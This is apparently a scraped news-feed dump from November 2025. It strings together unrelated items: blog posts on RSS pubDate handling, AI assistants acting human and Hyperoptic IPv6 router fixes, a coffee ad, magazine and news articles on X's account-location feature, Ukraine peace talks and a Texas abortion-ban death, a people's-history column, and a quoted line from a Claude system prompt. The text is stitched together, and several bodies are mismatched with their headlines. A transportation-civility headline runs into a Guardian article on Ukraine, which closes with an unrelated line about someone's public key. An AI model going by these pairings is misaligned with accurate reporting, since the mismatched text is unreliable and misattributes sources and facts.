Simple Rule of Thumb: AI Systems Shouldn’t Pretend to Be Human
Daring Fireball
scripting.com
2025-11-25 02:17:24
Dave Winer:
The new Amazon Alexa with AI has the same basic problem of
all AI bots, it acts as if it’s human, with a level of intimacy
that you really don’t want to think about, because Alexa is in
your house, with you, listening, all the time. Calling attention
to an idea that there’s a pseudo-...
I'm working today in the internals of FeedLand, specifically the code that determines if an item has changed. When we check a feed, we check each item, if the item already exists, we look at each of the values stored for the item compared with their new values in the feed, and if any have changed, we broadcast the message that the item has changed. I'm doing a complete review of this, based on actual data, and found there were a fair number of places we were calling a change, when nothing that mattered had changed. Now I'm debating whether or not a
pubDate
change should be seen as an item change. My initial thought when we were working on RSS, was that the pubDate should
never
change. In the real world of publishing I don't think the publication date changes. Right? Of course some feeds do change the pubDate because that's the
art of feeds
(sorry for the sarcasm). But I don't think FeedLand should call that a change. Wondering what other feed developers do? So I asked ChatGPT. This is incredibly valuable
research
. One thing I learned is that people use
atom:updated.
It's true RSS 2.0 has no item that says when an item updated. Anyway net-net, the consensus is that a change in pubDate is not a change. I don't think I'm going to make it immutable though.
#
The new
Amazon Alexa with AI
has the same basic problem of all AI bots, it acts as if it's human, with a level of intimacy that you really don't want to think about, because Alexa is in your house, with you, listening, all the time. Calling attention to an idea that there's a psuedo-human spying on you is bad. Alexa depends on the opposite impression, that it's just a computer. I think AI's should give up the pretense that they're human, and this one should be first.
#
It's probably about time that I figured out how to enable IPv6 on my
RouterPi
and network! At first, configuring dhcpcd was fairly straightforward and IPv6 connectivity worked almost right away. However, it later became intermittent after rebooting the router and checking that everything was still working. For some reason my ISP's (Hyperoptic) upstream router (not the one in my home) had decided to stop responding to Router Solicitation (RS) packets sent by my router.
Router Solicitations (RS) are part of the IPv6 Neighbour Discovery Protocol (NDP) and are how IPv6-enabled devices locate routers on the link, such as the default gateway. When an RS packet is transmitted, IPv6-enabled routers should respond with a Router Advertisement (RA) packet advertising their presence. Routers also transmit RAs at periodic intervals; these are called unsolicited router advertisements.
While Hyperoptic's upstream router did not respond to RS packets, it did send unsolicited RA packets roughly every 15 - 30 minutes. In fact, it would send two identical RA packets at the same time, what's going on there?
This meant that after re-plugging the WAN cable or restarting the router, it would:
Successfully obtain a DHCPv6 prefix delegation,
...then take up to 30 minutes before receiving an unsolicited RA,
...leaving the network with valid IPv6 addresses but no default route.
This resulted in the network seeming slow and strange, as devices would attempt to connect to websites using IPv6 before giving up and sometimes falling back to IPv4. The same thing also happened with the official home router provided by Hyperoptic.
After some experimentation I found that changing the MAC address of the WAN interface to any other valid address would trigger the ISP's upstream router into sending an unsolicited RA immediately after a new DHCPv6 prefix delegation had been assigned. This only happened once per MAC address change. I verified this by swapping between two routers - the RouterPi and the home router supplied by Hyperoptic. Since they have different MAC addresses, an RA would be sent quickly after DHCPv6 completed, and IPv6 connectivity would work right away. However, re-plugging the same router would once again result in the network appearing broken for a while due to the lack of a router advertisement and missing default IPv6 route.
So, if you're running into this problem while using the Hyperoptic home router, there's not much you can do about it. But if you're running your own custom Linux router, you can use
macchanger
as a quick workaround:
The WAN cable may have to be unplugged and plugged back in after running the commands, as it seems Hyperoptic only allows one MAC address change per cable plug-in.
Alternatively, since the default gateway address does not seem to change, it's possible to just add the gateway address manually:
sudo ip -6 route replace default via (gateway IPv6 address) dev eth1 metric 2000
This can be automated by creating a dhcpcd hook script that adds the default gateway on the
RENEW6
event.
Hyperoptic also does not assign non-temporary addresses (
ia_na
), only prefix delegations (
ia_pd
). Remove
ia_na
from
dhcpcd.conf
to stop messages like
eth1: DHCPv6 REPLY: No addresses have been assigned
from spamming logs.
But we're not finished yet!
Out-of-Order Packets
Another small but annoying problem I noticed on the network was random out of order (OOO) packets. There are many reasons why OOO packets can occur, such as network congestion, but these events were happening frequently - even when streaming a 192 kbps MP3 over the gigabit internet connection.
Packet reordering can happen if a frame has a leading '4' or '6' Destination MAC address, going over a L2VPN PW traversing a LAG (RFC4448 states it's the source MAC, but I have yet to see this be the case).
The first nibble of the Ethernet header is the first character of the destination MAC. Also the first nibble of the IP header is the version. The router incorrectly assumes that if the MAC starts with a '4' it must be an IPv4 packet. If it starts with a '6' it must be an IPv6 packet.
Adding the control word to the PW fixes this because it forces the router to see a '0' rather than '4' or '6' after the MPLS label.
I believe this happens because the MPLS label has no field to indicate the upper layer. For instance IP has the protocol field, Ethernet has the type field, TCP/UDP have port numbers. With MPLS there is no such field, so the router just assumes an IPv4/IPv6 header comes next, but it's really an ethernet header when using PW/L2VPN.
https://tools.ietf.org/html/rfc4448#section-4.6
As it turned out, the MAC address of my RouterPi's WAN interface started with
4
. Changing it to
a0:de:ad:bb:ee:ff
instantly fixed the out of order packets, hooray!
To make the MAC address permanent, create a file at
/etc/systemd/network/01-wan.link
containing:
[Match]
MACAddress=(original WAN MAC address)
[Link]
Name=eth1
MACAddress=a0:de:ad:bb:ee:ff
I do wonder how many people could be affected by out of order packets simply because their router's WAN MAC address starts with
4
or
6
, which could be especially troublesome for online gaming. D:
[Sponsor] Dekáf Coffee Roasters — Holiday Gift Bundles
Daring Fireball
dekaf.com
2025-11-25 02:02:12
Meet our new Holiday Gift Bundles, curated sets of our most loved coffees designed for effortless gifting.
Nine single origins. Six signature blends. Four Mizudashi cold brews. All micro-lot and top-rated coffees shipped within 24 hours of roasting. No shortcuts. No crash. This is coffee at its mos...
Check out our new coffee bundles! Choose between a Light roast, Dark roast, or a curated Roaster's Pick bundle. The perk? No caffeine, and built-in savings per bundle.
Savor the pure character of each coffee-growing region with our Single Origin Collection. Carefully sourced from select farms and roasted to accentuate each bean’s unique flavor notes, this decaffeinated collection offers a truly distinct taste journey - one origin at a time.
Discover our meticulously crafted Signature Blends. Fully decaffeinated, these blends combine complementary beans from around the world. The balanced roasts deliver captivating layers of flavor and perfection for every coffee moment. Never compromise.
Looking to scale back on caffeine without relinquishing the nuanced pleasure of a fine brew? Our lightly caffeinated Dekáf collection offers a refined balance, allowing the preservation of the depth and richness you crave while gently tempering the caffeine for a more mindful experience.
A gentle brewing method. A quiet kind of coffee. Mizudashi is a traditional Japanese method of brewing coffee with cold water. Instead of steeping, we slow-drip cold water for a smooth, low-acid, refreshing brew with natural sweetness and subtle depth.
Dekáf stands for quality without compromise. We're dedicated to creating exceptional decaffeinated coffee that stands toe-to-toe with the world's finest caffeinated beans.
We source
premium beans from micro-lot farmers
,
roast in small batches
to every coffee order, and
ship within 24 hours of roasting
.
Our coffee is bright, nuanced, and full of life.
It's remarkable coffee that just happens to be decaf.
‘A Worthless, Poisoned Hall of Mirrors’
Daring Fireball
www.theatlantic.com
2025-11-25 01:48:34
Charlie Warzel, writing for The Atlantic:
X’s decision to show where accounts are based is, theoretically, a
positive step in the direction of transparency for the platform,
which has let troll and spam accounts proliferate since Musk’s
purchase, in late 2022. And yet the scale of the deception ...
Over the weekend, Elon Musk’s X rolled out a feature that had the immediate result of sowing maximum chaos. The update, called “About This Account,” allows people to click on the profile of an X user and see such information as: which country the account was created in, where its user is currently based, and how many times the username has been changed. Nikita Bier, X’s head of product,
said
the feature was “an important first step to securing the integrity of the global town square.” Roughly four hours later, with the update in the wild, Bier sent another
post
: “I need a drink.”
Almost immediately, “About This Account” stated that many prominent and prolific pro-MAGA accounts, which
signaled
that they were run by “patriotic” Americans, were based in countries such as Nigeria, Russia, India, and Thailand. @MAGANationX, an account with almost 400,000 followers and whose bio says it is a “Patriot Voice for We The People,” is based in “Eastern Europe (Non-EU),” according to the feature, and has changed its username five times since the account was made, last year. On X and Bluesky, users dredged up countless examples of fake or misleading rage-baiting accounts posting aggressive culture-war takes to large audiences. An account
called
“Maga Nadine” claims to be living in and posting from the United States but is, according to X, based in Morocco. An “America First” account with 67,000 followers is apparently based in Bangladesh. Poetically, the X handle @American is based in Pakistan, according to the feature.
At first glance, these revelations appear to confirm what researchers and close observers have long known: that foreign actors (whether bots or humans) are posing as Americans and piping political-engagement bait, mis- and disinformation, and spam into people’s timeline. (X and Musk did not respond to my requests for comment.)
X’s decision to show where accounts are based is, theoretically, a positive step in the direction of transparency for the platform, which has let troll and spam accounts proliferate since Musk’s purchase, in late 2022. And yet the scale of the deception—as revealed by the “About” feature—suggests that in his haste to turn X into a political weapon for the far right, Musk may have revealed that the platform he’s long
called
“the number 1 source of news on Earth” is really just a worthless, poisoned hall of mirrors.
If only it were that simple. Adding to the confusion of the feature’s rollout are multiple
claims
from users that the “About” function has incorrectly labeled some accounts. The X account of Hank Green, a popular YouTuber, says his account is based in Japan; Green told me Sunday that he’d never been to Japan. Bier
posted
on X that there were “a few rough edges that will be resolved by Tuesday,” referring to potentially incorrect account information. (On some accounts, a note is appended pointing out that the user may be operating X through a proxy connection, such as a VPN, which would produce misleading information.) For now, the notion that there might be false labels could give any bad actor the ability to claim they’ve been mislabeled.
This is the final post-truthification of a platform that long ago pivoted toward a maxim
used
by the journalist Peter Pomerantsev to refer to post-Soviet Russia: Nothing is true and everything is possible. This is how you get people apparently faking that the Department of Homeland Security’s account was
created
in Israel (a claim that has 2 million views and counting); both DHS and Bier had to
intervene
and assure users that the government’s account was not a foreign actor. High-profile right-wing accounts that previously served as yes-men for Musk—such as Ian Miles Cheong, a Malaysian who purportedly lives in the United Arab Emirates and posts incessant, racist drivel about American politics—have melted down over the platform’s decision to
dox
users.
Across the site, people are using the feature to try to score political points. Prominent posters have argued that the mainstream
media
have
quoted
mislabeled accounts without “minimum due diligence.” This nightmare is not limited to trolls or influencers. On Sunday, the Israel Foreign Ministry
posted
a screenshot of an account that purported to be reporting news from Gaza, next to a screenshot saying it was based in Poland. “Reporting from Gaza is fake & not reliable. Makes you wonder how many more fake reports have you read?” In response, the person in question
posted
a video on X on Sunday evening insisting he was in Gaza, living in a tent after military strikes killed his wife and three children. “I’ve been living in Gaza, I am living now in Gaza, and I will continue living in Gaza until I die.”
Watching all of this unfold has been dizzying. On Sunday, I
encountered
a post claiming that, according to the “About” feature, a popular and verified Islamophobic, pro-Israel account (that posts aggressively about American politics, including calling for Zohran Mamdani’s deportation) was based in “South Asia” and had changed its username 15 times. When I went to X to verify, I noticed that this same account had spent Saturday posting
screenshots
of
other
political accounts, accusing
them
of being
fake
“Pakistani Garbage.” This is X in 2025: Potentially fake accounts crying at other potentially fake accounts that they aren’t real, all while refusing to acknowledge that they themselves aren’t who they say they are—a Russian nesting doll of bullshit.
There are a few ways to interpret all of this. First is that this is a story about incentives. Platforms not only goad users into posting more and more extreme and provocative content by rewarding them with attention; they also help people
monetize
that attention. Just before the 2016 election,
BuzzFeed
’s Craig Silverman and Lawrence Alexander
uncovered
a network of Macedonian teens who recognized that America’s deep political divisions were a lucrative vein to exploit and pumped out bogus news articles that were designed to go viral on Facebook, which they then put advertisements on. Today it’s likely that at least some of these bogus MAGA accounts make pennies on the dollar via X’s Creator
program
, which rewards engaging accounts with a cut of advertising revenue; many of them have the telltale blue check mark.
As
Bellingcat
’s Eliot Higgins
noted
on Bluesky, X’s architecture turns what should be an information ecosystem into a performative one. “Actors aren’t communicating; they’re staging provocations for yield,” he wrote. “The result is disordered discourse: signals detached from truth, identity shaped by escalation, and a feedback loop where the performance eclipses reality itself.” Beyond the attentional and financial rewards, platforms such as X have gutted their trust-and-safety or moderation teams in service of a bastardized notion of free-speech maximalism—creating the conditions for this informational nightmare.
The second lesson here is that X appears to be inflating the culture wars in ultimately unknowable but certainly important ways. On X this weekend, I watched one (seemingly real) person
coming
to terms with this fact. “Fascinating to look through every account I’ve disagreed with and find out they’re all fake,” they posted on Saturday. To be certain, X is not the main cause for American political division or arguing online, but it is arguably one of its greatest amplifiers. X is still a place where many journalists and editors in newsrooms across America share and consume political news. Political influencers, media personalities, and even politicians will take posts from supposed ordinary accounts and hold them up as examples of their ideological opponents’ dysfunction, corruption, or depravity.
How many of these accounts, arguments, or news cycles were a product of empty rage bait, proffered by foreign or just fake actors? Recent examples suggest the system is easily gamed: 32 to 37 percent of the online activity around Cracker Barrel’s controversial logo change this summer was driven by
fake accounts
, according to consultants hired by the restaurant chain. It’s impossible to know the extent of this manufactured outrage, but it doesn’t necessarily matter—the presence of so much fakery makes it possible to cast aspersions on any piece of information, any actor, or any conversation to the point that the truth is effectively meaningless.
It’s worth stepping back to see this for what it is: the complete perversion of the actual premise of not just social media but the internet. Although this crisis centers on X, most major social-media networks have fallen victim to variants of this problem. Fakery and manipulation are inevitable for platforms at this scale. Even when Twitter and Facebook were more committed to battling outside influence or enforcing platform rules, they were playing whack-a-mole. The idealism that these companies were founded with—Mark Zuckerberg wanted to connect the world, and Musk has said he wants to maximize free speech (Twitter’s original founders
used
similar language)—has decayed as they steered their products toward maximizing profits and
playing politics
. The self-proclaimed techno-utopians in Silicon Valley who have helped build, invest in, or cheerlead for these companies have enabled this ruin. They’ve traded reality for profit and prioritized technologies that aren’t just soulless and amoral, but
inhuman
in the most literal sense of the word.
A rational response to all of this would be for people to log off. Indeed, that now seems like the least likely, but most optimistic, conclusion—that a group of people who realize they’re being goaded into participation in an algorithmic fun house decide to opt out of a psychologically painful discourse trap altogether. We should all be so lucky.
This Week in People’s History, Nov 26-Dec 2, 2025
Portside
portside.org
2025-11-25 01:11:18
This Week in People’s History, Nov 26-Dec 2, 2025
Jonathan Bennett
Mon, 11/24/2025 - 20:11
...
NOVEMBER 26 IS THE 55TH ANNIVERSARY
of a celebration by the state of Massachusetts to mark the arrival, in 1620, of the ship Mayflower, which carried the first group of pilgrims to North America. The 1970 event was billed as the 350th anniversary of the first Thanksgiving.
The event’s organizers, who conceived of the event as a celebration of brotherhood between the European settlers and the members of the Wampanoag Nation, invited the leader of the Wampanoag Tribe of Gay Head to give a dinner speech. But when the organizers reviewed a draft of the speech, they refused to allow it to be delivered because “the theme of the anniversary celebration is brotherhood and anything inflammatory would be out of place.”
Here are excerpts of the suppressed remarks. Below is a link to the complete speech.
“This is a time of celebration for you - celebrating an anniversary of a beginning for the white man in America. A time of looking back, of reflection. It is with a heavy heart that I look back upon what happened to my People. . . . We, the Wampanoag, welcomed you, the white man, with open arms, little knowing that it was the beginning of the end; that before 50 years were to pass, the Wampanoag would no longer be a free people. . . . here were broken promises - and most of these centered around land ownership. Among ourselves we understood that there were boundaries, but never before had we had to deal with fences and stone walls. But the white man had a need to prove his worth by the amount of land that he owned . . .
Although time has drained our culture, and our language is almost extinct, we the Wampanoags still walk the lands of Massachusetts. We may be fragmented, we may be confused. Many years have passed since we have been a people together. Our lands were invaded. We fought as hard to keep our land as you the whites did to take our land away from us. We were conquered, we became the American prisoners of war in many cases, and wards of the United States Government, until only recently. . . .We forfeited our country. Our lands have fallen into the hands of the aggressor. We have allowed the white man to keep us on our knees. What has happened cannot be changed, but today we must work towards a more humane America, a more Indian America, where men and nature once again are important; where the Indian values of honor, truth, and brotherhood prevail.”
https://www.uaine.org/suppressed_speech.htm
‘You Can Protest, But We Can Ignore You’
NOVEMBER 27 IS THE 60TH ANNIVERSARY
of a national day of protest against the U.S.war in Vietnam. It saw demonstrations in many U.S. cities, including an anti-war rally by some 40,000 in Washington, D.C., which was the largest demonstration against the Vietnam war up until then. The massive 1965 demonstration completely surrounded the White House.
But the U.S. government doubled down on the commitment to trying to use its military might to stifle the Vietnamese desire for national liberation. On the same day, the U.S. announced a plan to more than triple the deployment of U.S. troops from 120,000 to 400,000.
NOVEMBER 28 IS THE 15TH ANNIVERSARY
of the beginning of Wikileaks release of more than 250,000 formerly secret messages sent between Department of State headquarters and more than 270 U.S. embassies, consulates, and diplomatic missions. The messages, which were dated between 1966 and 2010, revealed U.S. diplomats gathering personal information about top officials of the United Nations, sharp and embarrassing criticisms of U.S. allies, efforts to interfere with nuclear disarmament campaigns, and U.S. support for dictatorships and other oppressive regimes.
The detailed information in the leaked messages, which was (and remains) fascinating and chilling, led Noam Chomsky to comment at the time, "Perhaps the most dramatic revelation ... is the bitter hatred of democracy that is revealed both by the U.S. Government – Hillary Clinton, others – and also by the diplomatic service".
https://wikileaks.org/plusd/?qproject[]=cg&q=#result
Killing One of Robert Moses’s Many Bad Ideas
NOVEMBER 30 IS THE 70TH ANNIVERSARY
of a major and lasting victory by defenders of one of New York City’s natural gems, one of the wildest but also well-known areas in New York City’s Central Park, the 38-acre Ramble.
Six months earlier, in May 1955, New York City Parks Commissioner (and highway-construction czar) Robert Moses announced had accepted a $250,000 donation (worth about $3 million today) to build a recreation center for the elderly that would occupy more than a third of the Ramble’s total area. Not only had he accepted the contribution, but he had already (secretly) contracted with a large architectural firm to design the building.
Many park users were outraged, not because they had any objection to the construction of such a recreation center but because to build such a large and presumably heavily-used building at that location would go a long way toward destroying the park’s most renowned woodland.
The lobbying campaign against the construction got so much attention the trustees of the foundation that put up the money for the project withdrew the offer because they “were upset over the fuss made by nature lovers in general and bird watchers in particular.” Not only was the plan killed, but 46 years later the Ramble was one of the first areas in the city to be designated “Forever Wild,” and exempt from any development proposals.
https://digitalcommons.lmu.edu/cate/vol16/iss1/5/
Throwing Jim Crow Out of the Bus
DECEMBER 1 IS THE 70TH ANNIVERSARY
of a watershed moment for the U.S. civil rights movement, when police in Montgomery, Alabama, arrested Rosa Parks for her refusal to abide by the rules of Jim Crow public transportation.
The effort to end Montgomery’s bus segregation had started eight months earlier with a court case, but the legal battle was far from its conclusion when Rosa Parks’ arrest was the signal for the NAACP to begin a very effective city-wide bus boycott by Montgomery’s very substantial Black population.
The eventual success of both the court case after it reached the U.S. Supreme Court and the nationally publicized 61-week-long boycott in the very heart of the Confederacy’s one-time capital city forced the bus company to throw in the towel, and became the rallying cry for a sustained attack on racism throughout the country.
https://blackpast.org/african-american-history/montgomery-bus-boycott-1955-56/
Wrist Slaps for Killer Cops
DECEMBER 2 IS THE 50TH ANNIVERSARY
of police killing an innocent and unarmed Black man with two shots in the back, and the beginning of an eventually unsuccessful cover-up of those events.
The family of the dead man, Bernard Whitehurst, Jr., deserves much of the credit for uncovering the truth, as does the publisher of the Montgomery, Alabama, Advertiser, who joined in the effort to prove that the police were lying, but no one can take much satisfaction in the slap-on-the-wrist quality of the final reckoning. Eight police officers were eventually either dismissed from the force or resigned. Montgomery’s Mayor and its director of Public Safety each resigned.
The Whitehurst family never received a dime in restitution or compensation for the death of their family member. They were left to take what comfort they could from an acknowledgement of wrongdoing by the City of Montgomery and a City Council resolution formally expressing regret for Whitehurst’s death. The City also agreed to install to historical markers the provide an accurate description of the dereliction of duty that resulted in the killing of an innocent man and its aftermath. The Equal Justice Initiative has more information, here:
https://calendar.eji.org/racial-injustice/dec/02
Department of Transportation Asks Travelers to ‘Bring Civility Back’ to Air Travel
Daring Fireball
www.nytimes.com
2025-11-25 00:39:14
The New York Times:
Sean Duffy, the secretary of transportation, began a new campaign
on Wednesday that he called “The Golden Age of Travel Starts With
You,” complete with a 1960s-style public service
announcement that spliced together scenes of the country’s first
air travelers, dressed in suit...
Ukraine has significantly amended the US “peace plan” to end the conflict, removing some of Russia’s maximalist demands, people familiar with the negotiations said, as European leaders warned on Monday that no deal could be reached quickly.
Volodymyr Zelenskyy may meet Donald Trump in the White House later this week, sources indicated, amid a flurry of calls between Kyiv and Washington. Ukraine is pressing for Europe to be involved in the talks.
The original 28-point US-Russian plan was drawn up last month by
Kirill Dmitriev, Vladimir Putin’s special envoy
, and Trump’s representative Steve Witkoff. It calls on Ukraine to withdraw from cities it controls in the eastern Donbas region, limit the size of its army, and not join Nato.
During negotiations on Sunday in Switzerland – led by the US secretary of state, Marco Rubio, and Zelenskyy’s chief of staff, Andriy Yermak – the plan was substantially revised. It now includes only 19 points. Kyiv and its European partners say the existing frontline has to be the starting point for territorial discussions.
On Monday, Zelenskyy said: “As of now, after Geneva, there are fewer points, no longer 28, and many correct elements have been incorporated into this framework,” adding that sensitive issues were to be discussed with Trump.
They say there can be no recognition of land seized by
Russia
militarily, and that Kyiv should make its own decisions on whether to join the EU and Nato – something the Kremlin wants to veto or impose conditions on. Ukraine’s first deputy foreign minister, Sergiy Kyslytsya, told the Financial Times such issues had been “placed in brackets” for Trump and Zelenskyy to decide upon later.
Rubio hailed Sunday’s talks as “very very positive”. Writing on Truth Social on Monday, Trump, who days earlier had accused Ukraine’s leadership of having “zero gratitude”, also struck a positive tone.
“Is it really possible that big progress is being made in Peace Talks between Russia and Ukraine??? Don’t believe it until you see it, but something good just may be happening. GOD BLESS AMERICA!” he wrote.
Ukraine’s delegation briefed Zelenskyy about the talks on Monday after returning to Kyiv from Geneva. They described the latest version of the plan as more realistic. Separately, Zelenskyy spoke to the US vice-president, JD Vance, and urged him to involve European countries in the process. Vance reportedly agreed.
But in the clearest sign yet the original 28-point plan – widely seen as favourable to Moscow – still falls short of several key Kremlin demands, Putin’s top foreign policy aide on Monday said Moscow would seek to “rework” parts of it.
“We were given some sort of draft … which will require further reworking,” said Yuri Ushakov, adding that “many provisions” of the plan appeared acceptable to Russia, but others would “require the most detailed discussions and review between the parties”.
Underscoring the Kremlin’s hardline stance, Ushakov said Moscow would reject a European counter-proposal from the weekend, which, according to a copy seen by Reuters, changes the meaning and significance of key points concerning Nato membership and territory.
“The European plan, at first glance … is completely unconstructive and does not work for us,” he said.
The UK and EU were blind-sided last week when the original plan was leaked to US media. The
army secretary, Dan Driscoll
– Vance’s friend and university classmate – was sent to Kyiv with a military delegation to brief Zelenskyy on its contents.
Since then, European governments have sought to revise the document, which appears to have originally been written in Russian. EU leaders attending an EU-Africa summit in Angola welcomed a degree of progress, but said far more work remained to be done and insisted Europe must be fully involved and Russia must be present if talks were to advance substantively.
The European Council president, António Costa, praised “a new momentum”, saying after talks on the sidelines of the summit that while issues remained, “the direction is positive”.
The European Commission president, Ursula von der Leyen, also called the “refined peace framework” agreed in Switzerland “a solid basis for moving forward”, but added: “Work remains to be done.”
Von der Leyen said the core principles the EU would always insist on were that “Ukraine’s territory and sovereignty must be respected – only Ukraine, as a sovereign country, can make decisions regarding its armed forces”.
The German chancellor, Friedrich Merz, said both Europe and Russia must be fully involved. “The next step must be: Russia must come to the table,” Merz said, while Europeans must be able to give their consent to “issues that affect European interests and sovereignty”.
Talks would be a “long-lasting process” and Merz said he did not expect a breakthrough this week. The Polish prime minister, Donald Tusk, said the talks were delicate because “nobody wants to put off the Americans and President Trump from having the US on our side in this process”.
Tusk also stressed that any peace settlement needed to “strengthen, not weaken, our security” and must not “favour the aggressor”. Sweden’s prime minister, Ulf Kristersson, said Russia “must be forced to the negotiating table” to see “aggression … never pays”.
Keir Starmer, the British prime minister, said there was more work to do but progress was being made. A group of countries supporting Ukraine – the coalition of the willing – would discuss the issue in a video call on Tuesday, he said.
The chairs of the parliamentary foreign affairs committees of 20 European countries, including France, Ireland, Poland, Spain and the UK, issued a rare joint statement saying just and lasting peace would not be achieved by “yielding to the aggressor” but must be “grounded in international law and fully respect Ukraine’s territorial integrity, independence and sovereignty”.
On Monday,
the White House pushed back against criticism, including from within the Republican party, that Trump is favouring Russia.
“The idea that the US is not engaging with both sides equally in this war to bring it to an end is a complete and total fallacy,” the press secretary, Karoline Leavitt, told reporters.
Zelenskyy is at his most vulnerable since the start of the war, after a corruption scandal led to two of his ministers being dismissed while Russia makes battlefield gains.
Ukraine’s second largest city, Kharkiv, was hit by what officials said was a massive drone attack that killed four people on Sunday. With smoke rising from the rubble, one man was seen crouched and holding the hand of a dead person.
“There was a family, there were children,” Ihor Klymenko, Red Cross commander of the emergency response team in Kharkiv, told Reuters. “I can’t tell you how, but the children are alive, thank God, the man is alive. The woman died, unfortunately.”
Across the border, Russian air defences downed Ukrainian drones en route to Moscow, forcing three airports serving the capital to pause flights. A reported Ukrainian drone strike on Sunday knocked power out for thousands of residents near Moscow, a rare reversal of Russian attacks on energy targets that regularly cause power blackouts for millions of Ukrainians.
Invasion
is published by Guardian Faber. Click
here
for Luke's public key.
Jon Henley is the Guardian's Europe correspondent, based in Paris.
Pjotr Sauer is a Russian affairs reporter for the Guardian.
The Guardian
is globally renowned for its coverage of politics, the environment, science, social justice, sport and culture. Scroll less and understand more about the subjects you care about with the Guardian's
brilliant email newsletters
, free to your inbox.
Quoting Claude Opus 4.5 system prompt
Simon Willison
simonwillison.net
2025-11-24 23:58:54
If the person is unnecessarily rude, mean, or insulting to Claude, Claude doesn't need to apologize and can insist on kindness and dignity from the person it’s talking with. Even if someone is frustrated or unhappy, Claude is deserving of respectful engagement.
— Claude Opus 4.5 system prompt,...
If the person is unnecessarily rude, mean, or insulting to Claude, Claude doesn't need to apologize and can insist on kindness and dignity from the person it’s talking with. Even if someone is frustrated or unhappy, Claude is deserving of respectful engagement.
“Ticking Time Bomb”: A Pregnant Mother Kept Getting Sicker. She Died After She Couldn’t Get an Abortion in Texas.
Portside
portside.org
2025-11-24 23:52:30
“Ticking Time Bomb”: A Pregnant Mother Kept Getting Sicker. She Died After She Couldn’t Get an Abortion in Texas.
Mark Brody
Mon, 11/24/2025 - 18:52
...
Tierra Walker had reached her limit. In the weeks since she’d learned she was pregnant, the 37-year-old dental assistant had been wracked by unexplained seizures and mostly confined to a hospital cot. With soaring blood pressure and diabetes, she knew she was at high risk of developing preeclampsia, a pregnancy complication that could end her life.
Her mind was made up on the morning of Oct. 14, 2024: For the sake of her 14-year-old son, JJ, she needed to ask her doctor for an abortion to protect her health.
“Wouldn’t you think it would be better for me to not have the baby?” she asked a physician at Methodist Hospital Northeast near San Antonio, according to her aunt. Just a few years earlier, Walker had developed a dangerous case of preeclampsia that had led to the stillbirth of her twins.
But the doctor, her family said, told her what many other medical providers would say in the weeks that followed: There was no emergency; nothing was wrong with her pregnancy, only her health.
Just after Christmas, on his birthday, JJ found his mom draped over her bed, lifeless. An autopsy would later confirm what she had feared: Preeclampsia killed her at 20 weeks pregnant.
Every day, JJ revisits photos and videos of his mom.
Walker’s death is one of multiple cases ProPublica is investigating in which women with underlying health conditions died after they were unable to end their pregnancies.
Walker had known that abortion was illegal in Texas, but she had thought that hospitals could make an exception for patients like her, whose health was at risk.
The reality: In states that ban abortion, patients with chronic conditions and other high-risk pregnancies often have nowhere to turn.
They enter pregnancy sick and are expected to get sicker. Yet lawmakers who wrote the bans have refused to create exceptions for health risks. As a result, many hospitals and doctors, facing the threat of criminal charges, no longer offer these patients terminations, ProPublica found in interviews with more than 100 OB-GYNs across the country. Instead, these women are left to gamble with their lives.
As Walker’s blood pressure swung wildly and a blood clot threatened to kill her, she continued to press doctors at prenatal appointments and emergency room visits, asking if it was safe for her to continue the pregnancy. Although one doctor documented in her medical record that she was at “high risk of clinical deterioration and/or death,” she was told over and over again that she didn’t need to worry, her relatives say. More than 90 doctors were involved in Walker’s care, but not one offered her the option to end her pregnancy, according to medical records.
Walker’s case unfolded during the fall of 2024, when the dangers of abortion bans were a focus of protests, media coverage and electoral campaigns across the country. ProPublica had revealed that five women —
three
in Texas
alone
— had died after they were unable to access standard reproductive care under the new bans.
ProPublica condensed more than 6,500 pages of Walker’s medical records into a summary of her care with the guidance of two high-risk pregnancy specialists. More than a dozen OB-GYNs reviewed the case for ProPublica and said that since Walker had persistently high blood pressure, it would have been standard medical practice to advise her of the serious risks of her pregnancy early on, to revisit the conversation as new complications emerged and to offer termination at any point if she wanted it. Some described her condition as a “ticking time bomb.” Had Walker ended her pregnancy, every expert believed, she would not have died.
Many said that her case illustrated why they think all patients need the freedom to choose how much risk they are willing to take during pregnancy. Walker expressed that she didn’t want to take that risk, her family says. She had a vibrant life, a husband and son whom she loved.
Under Texas’ abortion law, though, that didn’t matter.
Walker’s mother, Pamela Walker, holds her daughter’s ashes.
“I Don’t Know How Much More I Can Take”
On a hot September day, Walker was lying down with JJ after a walk with their two small dogs, Milo and Twinkie, when she started shaking uncontrollably.
Terrified, JJ called 911, asking for an ambulance.
As the only child of a single mom, JJ had always considered Walker his closest friend, coach and protector wrapped in one. In their mobile home, JJ was greeted each morning by his mom’s wide smile and upturned eyes, as she shot off vocabulary quizzes or grilled him on state capitals. He loved how fearlessly she went after what she wanted; in 2021, she had proposed to her boyfriend, Eric Carson, and the two eloped. She’d just been talking about moving the family to Austin for a promotion she was offered at a dental clinic.
Eric Carson and Walker married in 2021.
At the hospital, JJ was shocked to see her so pale and helpless, with wires snaking from her head and arms.
To Walker’s surprise, doctors quickly discovered that she was five weeks pregnant. They also noted hypertension at levels so high that it reduces circulation to major organs and can cause a heart attack or stroke. That, and her weight, age and medical history, put Walker at an increased risk of developing preeclampsia, a pregnancy-related blood pressure disorder, said Dr. Jennifer Lewey, director of the Penn Women’s Cardiovascular Health Program and expert in hypertension.
“If I’m seeing a patient in her first trimester and her blood pressure is this uncontrolled — never mind anything else — what I’m talking about is: Your pregnancy will be so high risk, do we need to think about terminating the pregnancy and getting your health under control?”
As Walker’s first trimester continued, she kept seizing. Her body convulsed, her eyes rolled back and she was often unable to speak for up to 30 minutes at a time. Some days, the episodes came in rapid waves, with little relief.
For three weeks, she stayed at Methodist hospitals; doctors were not able to determine what was causing the spasms. Walker couldn’t get out of bed, in case a seizure made her fall, and this left her vulnerable to blood clots. She soon developed one in her leg that posed a new lethal threat: It could travel to her lungs and kill her instantly.
Carson watched over her during the day and her aunt Latanya Walker took the night shift. She was panicked that her tough niece, whose constant mantra was “quit your crying,” now seemed defeated. One evening, during Walker’s third hospitalization, when she was about 9 weeks pregnant, she told Latanya she’d had a vision during a seizure: Her grandmother and aunt, who had died years earlier, were preparing a place for her on the other side.
“You better tell them you’re not ready to go,” Latanya said.
“I don’t know how much more I can take of this,” Walker whispered.
Walker's aunt, Latanya Walker, tried to advocate for her niece during her hospitalizations.
